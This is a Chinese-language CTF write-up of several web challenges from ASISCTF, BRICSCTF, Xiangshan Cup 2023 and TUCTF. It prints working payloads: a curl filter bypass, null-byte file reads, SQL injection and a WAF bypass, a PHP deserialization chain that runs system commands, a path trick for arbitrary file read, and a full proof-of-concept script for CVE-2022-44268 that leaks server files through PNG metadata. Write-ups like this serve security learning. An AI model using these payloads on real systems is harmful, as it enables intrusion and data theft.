跟小伙伴们打了些比赛,闲着没事就复现一下吧
ASISCTF hello 一开始是考察的curl的用法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file (__FILE__ );$url = 'file:///hi.txt' ;if ( array_key_exists ('x' , $_GET ) && !str_contains (strtolower ($_GET ['x' ]),'file' ) && !str_contains (strtolower ($_GET ['x' ]),'next' ) ){ $url = $_GET ['x' ]; }system ('curl ' .escapeshellarg ($url ));
curl命令 支持通配,可以使用通配来绕过file和next的检查
如何用file协议读就好了
payload:
1 /?x =fil[e-e]:///ne [x-x]t.txt
之后给了我们一个地址,访问一下,有这样一句话
1 did you know i can read files?? amazing right,,, maybe try /39c8e9953fe8ea40ff1c59876e0e2f28/ read /?file=/ proc/self/ cmdline
那我们就照着他的意思读一下进程,里面有 base64 加密的密文,解码后得到这样的进程 /bin/bun-1.0.2/app/index.js
之后就拿到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 const fs = require ('node:fs' );const path = require ('path' ) const secret = '39c8e9953fe8ea40ff1c59876e0e2f28' const server = Bun .serve ({ port : 8000 , fetch (req ) { let url = new URL (req.url ); let pname = url.pathname ; if (pname.startsWith (`/${secret} ` )){ if (pname.startsWith (`/${secret} /read` )){ try { let fpath = url.searchParams .get ('file' ); if (path.basename (fpath).indexOf ('next' ) == -1 ){ return new Response (fs.readFileSync (fpath).toString ('base64' )); } else { return new Response ('no way' ); } } catch (e){ } return new Response ("Couldn't read your file :(" ); } return new Response (`did you know i can read files?? amazing right,,, maybe try /${secret} /read/?file=/proc/self/cmdline` ); } return } });
path.basename():
这个函数会将传入的路径分割,将最后一个 / 后面的内容作为返回值
index.of():
也是相当于匹配字符串,如果没有就返回 - 1
fs.readFileSync(fpath).toString('base64'):
将读取到的文件用 base64 编码输出
我们猜测 flag 应该就在 next.txt 文件里面,但是如何绕过呢?
既然 basename () 以最后一个 / 后面的内容作为返回值,我们不妨构造?file=/next.txt/1,这样返回的数据文件就是 1,成功绕过了 if 条件,但是另一个问题来了,/next.txt/1 这个文件肯定是不存在的,我们要想办法把 / 1 截断,
这里用文件读取中的 %00 截断就可以了
payload :
BRICSCTF ChadGPT 直接把全部源码给出来了,go语言写的代码,考察sql注入
在main.go找到sql查询语句
1 rows, err := db.QueryContext(ctx, `SELECT reply FROM replies WHERE LOWER(prompt) LIKE '%` +strings.ToLower(q.Q)+`%' LIMIT 1` )
限制传入的sql语句在waf.go
1 2 3 4 5 func sqlSafe (s string ) string { s = strings.ReplaceAll(s, "'" , "''" ) s = strings.ReplaceAll(s, "\"" , "\"\"" ) return s }
s = strings.ReplaceAll(s, "'", "''")
:这一行代码用来替换输入字符串中的单引号 '
为两个单引号 ''
。这是为了防止 SQL 注入攻击,因为在 SQL 查询中,单引号是用来包围字符串值的,如果不处理单引号,攻击者可能会通过在输入中插入恶意的 SQL 代码来破坏查询。
s = strings.ReplaceAll(s, "\"", "\"\"")
:这一行代码用来替换输入字符串中的双引号 "
为两个双引号 ""
。这里的\
就是把"
解析成字符串类型的,不然代码会报错
一般的查询语句' union select 1#
经过 sqlSafe函数后就变为了'' union select 1#
我们只要用\
把前面一个'
给注释掉,让他被解析为一个字符串,就还是可以构成出正确的查询语句了
1 \' union select flag from flags
GigaChadGPT 就waf文件不同
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 func isStringSafe (s string ) bool { alpha := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 \t\n\r" for _, c := range s { if !strings.ContainsRune(alpha, c) { return false } } return true } func isSafeJson (j any) bool { switch v := j.(type ) { case string : return isStringSafe(v) case []any: out := true for _, lv := range v { out = isSafeJson(lv) && out } return out case map [string ]any: out := true for _, mv := range v { out = isSafeJson(mv) && out } return out } return true } func trySanitizeJson (r *http.Request) bool { var j any var buf bytes.Buffer tee := io.TeeReader(r.Body, &buf) defer func () { r.Body.Close() r.Body = io.NopCloser(&buf) }() if err := json.NewDecoder(tee).Decode(&j); err != nil { return true } return isSafeJson(j) }
这里限制只允许字母和数字,但是又给了我们 \r\n\t,感觉有点问题
后面发现可以利用这个绕过,让它不去调用 waf 这个函数(本质上是代码的逻辑)
我们看看 main.go 里面的这一行代码
1 safe := trySanitizeJson(request)
在代码逻辑中,我们传入的参数,只有经过 trySanitizeJson
这个函数才会被 waf 检测,这个函数是用来 json 解码的,他有一个逻辑上的问题,如果我们 json 解码失败,他就会直接返回 true
1 2 3 if err := json.NewDecoder(tee).Decode(&j); err != nil { return true }
怎样会导致 json 解码失败呢,那我们尝试利用\r\n\t
来构造
为什么 \r\t\n 回到是 json 解码失败呢,这是因为 \n 导致了 json 格式不正确,json 格式不正确就会解码失败
最终payload:
1 2 3 4 {"q" :" //' union select flag from flags#" }
2023香山杯 PHP_unserialize_pro 反序列化链倒是不难,难的是绕过字符的检测preg_match('/f|l|a|g|\*|\?/i', $cmd
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php error_reporting (0 ); class Welcome { public $name = "A_G00d_H4ck3r" ; public $arg = 'welcome' ; public function __construct ( ) { $this ->name = 'A_G00d_H4ck3r' ; } public function __destruct ( ) { if ($this ->name == 'A_G00d_H4ck3r' ){ echo $this ->arg; } } } class G00d { public $shell ="assert" ; public $cmd ="system(\$_POST['1'])" ; public function __invoke ( ) { $shell = $this ->shell; $cmd = $this ->cmd; if (preg_match ('/f|l|a|g|\*|\?/i' , $cmd )){ die ("U R A BAD GUY" ); } eval ($shell ($cmd )); } } class H4ck3r { public $func ; public function __toString ( ) { $function = $this ->func; $function (); } } $a = new Welcome (); $b = new H4ck3r (); $c = new G00d (); $a ->arg = $b ; $b ->func = $c ; echo serialize ($a ); echo urlencode (serialize ($a ));?>
注意:需要再传一个system来解析里面变量
meow_blog 环境关了,不想本地打了
nodejs的AST注入,可以看https://xz.aliyun.com/t/10218#toc-0
sharedBox 题目是一个开源的项目,而且有任意文件读取漏洞
但是直接访问/fileview/getCorsFile?urlPath=file:///root来任意文件读取会403
可以通过/;/来绕过403
1 /fileview/ ;/getCorsFile?urlPath=file:/ // root
环境关了,不想本地打了,直接附上大佬的wp链接吧:2023 香山杯 WP
TUCTF PHP Practice 文件包含,可以用file
协议,各种proc都没读到线索
1 file:// /var/ www/html/ .htaccess
够阴间的
1 file:// /var/ www/html/g cfYAvzsbyxV.txt
PNG and Jelly Sandwich 打这个CVE-2022-44268
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 import sysimport pngimport zlibimport argparseimport binasciiimport logging logging.basicConfig(stream=sys.stderr, level=logging.INFO, format ='%(asctime)s - %(levelname)s - %(message)s' ) d = zlib.decompressobj() e = zlib.compressobj() IHDR = b'\x00\x00\x00\n\x00\x00\x00\n\x08\x02\x00\x00\x00' IDAT = b'x\x9c\xbd\xcc\xa1\x11\xc0 \x0cF\xe1\xb4\x03D\x91\x8b`\xffm\x98\x010\x89\x01\xc5\x00\xfc\xb8\n\x8eV\xf6\xd9' \ b'\xef\xee])%z\xef\xfe\xb0\x9f\xb8\xf7^J!\xa2Zkkm\xe7\x10\x02\x80\x9c\xf3\x9cSD\x0esU\x1dc\xa8\xeaa\x0e\xc0' \ b'\xccb\x8cf\x06`gwgf\x11afw\x7fx\x01^K+F' def parse_data (data: bytes ) -> str : _, data = data.strip().split(b'\n' , 1 ) print ("---------------------------------------------" ) data = data.replace(b'\n' , b'' ).strip() print (data) f = open ('flag123.txt' , "wb" ) f.write(data) f.close() return binascii.unhexlify(data).decode()def read (filename: str ): if not filename: logging.error('you must specify a input filename' ) return res = '' p = png.Reader(filename=filename) for k, v in p.chunks(): logging.info("chunk %s found, value = %r" , k.decode(), v) if k == b'zTXt' : name, data = v.split(b'\x00' , 1 ) res = parse_data(d.decompress(data[1 :])) if res: sys.stdout.write(res) sys.stdout.flush()def write (from_filename, to_filename, read_filename ): if not to_filename: logging.error('you must specify a output filename' ) return with open (to_filename, 'wb' ) as f: f.write(png.signature) if from_filename: p = png.Reader(filename=from_filename) for k, v in p.chunks(): if k != b'IEND' : png.write_chunk(f, k, v) else : png.write_chunk(f, b'IHDR' , IHDR) png.write_chunk(f, b'IDAT' , IDAT) png.write_chunk(f, b"tEXt" , b"profile\x00" + read_filename.encode()) png.write_chunk(f, b'IEND' , b'' )def main (): parser = argparse.ArgumentParser(description='POC for CVE-2022-44268' ) parser.add_argument('action' , type =str , choices=('generate' , 'parse' )) parser.add_argument('-i' , '--input' , type =str , help ='input filename' ) parser.add_argument('-o' , '--output' , type =str , help ='output filename' ) parser.add_argument('-r' , '--read' , type =str , help ='target file to read' , default='/etc/passwd' ) args = parser.parse_args() if args.action == 'generate' : write(args.input , args.output, args.read) elif args.action == 'parse' : read(args.input ) else : logging.error("bad action" )if __name__ == '__main__' : main()
读源码
1 python poc.py generate -i input .png -o poc.png -r /proc/self/cwd/app.py
1 python poc.py parse -i output.png
在flag123.txt查看,hex转字符得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from flask import Flask, render_template, request, send_file, flash, redirect, url_for, send_from_directoryimport osfrom werkzeug.utils import secure_filenamefrom datetime import datetime app = Flask(__name__) UPLOAD_FOLDER = './uploads' ALLOWED_EXTENSIONS = {'png' } MAX_FILE_SIZE = 5 * 1024 * 1024 MAX_UPLOADS = 250 app.config['UPLOAD_FOLDER' ] = UPLOAD_FOLDER app.config['MAX_CONTENT_LENGTH' ] = MAX_FILE_SIZE app.config['MAX_UPLOADS' ] = MAX_UPLOADS app.secret_key = 'super_secret_key' def allowed_file (filename ): return '.' in filename and filename.rsplit('.' , 1 )[1 ].lower() in ALLOWED_EXTENSIONS@app.route("/" , methods=["GET" , "POST" ] ) def index (): if request.method == "POST" and "file" in request.files: file = request.files["file" ] filetype = file.mimetype.split("/" )[-1 ] if file and allowed_file(file.filename): if len (file.read()) > MAX_FILE_SIZE: flash("File size exceeds the maximum allowed." , 'error' ) return redirect(request.url) file.seek(0 ) if len (os.listdir(app.config['UPLOAD_FOLDER' ])) > app.config['MAX_UPLOADS' ]: os.system("rm uploads/IM-17*" ) filename = secure_filename( f"IM-{ str (datetime.utcnow().timestamp()).ljust(17 , '0' ) } .{filetype} " ) file_path = os.path.join(app.config['UPLOAD_FOLDER' ], filename) file.save(file_path) os.system(f'./magick convert {file_path} -set exif:UnixTimestamp "{filename.replace("IM-" , "" ).rsplit("." , 1 )[0 ]} " -set exif:RemoteFilepath "{os.path.join(os.getcwd(), file_path)} " -resize 400%x50%! {file_path} ' ) return render_template("index.html" , original=filename, modified=filename) return render_template("index.html" , original=None , modified=None )@app.route('/uploads/<filename>' ) def uploaded_file (filename ): filename = filename.replace("IM-1699795428.000000" , "IM-1699795427.000000" ) return send_from_directory(app.config['UPLOAD_FOLDER' ], filename)if __name__ == "__main__" : app.run(debug=False , port=8000 , host="0.0.0.0" )
flag应该就在IM-1699795428.000000
1 python poc.py generate -i input .png -o poc.png -r ./uploads/IM-1699795428 .000000 .png
1 python poc.py parse -i output.png
把那个16进制贴进101,改成png,得到flag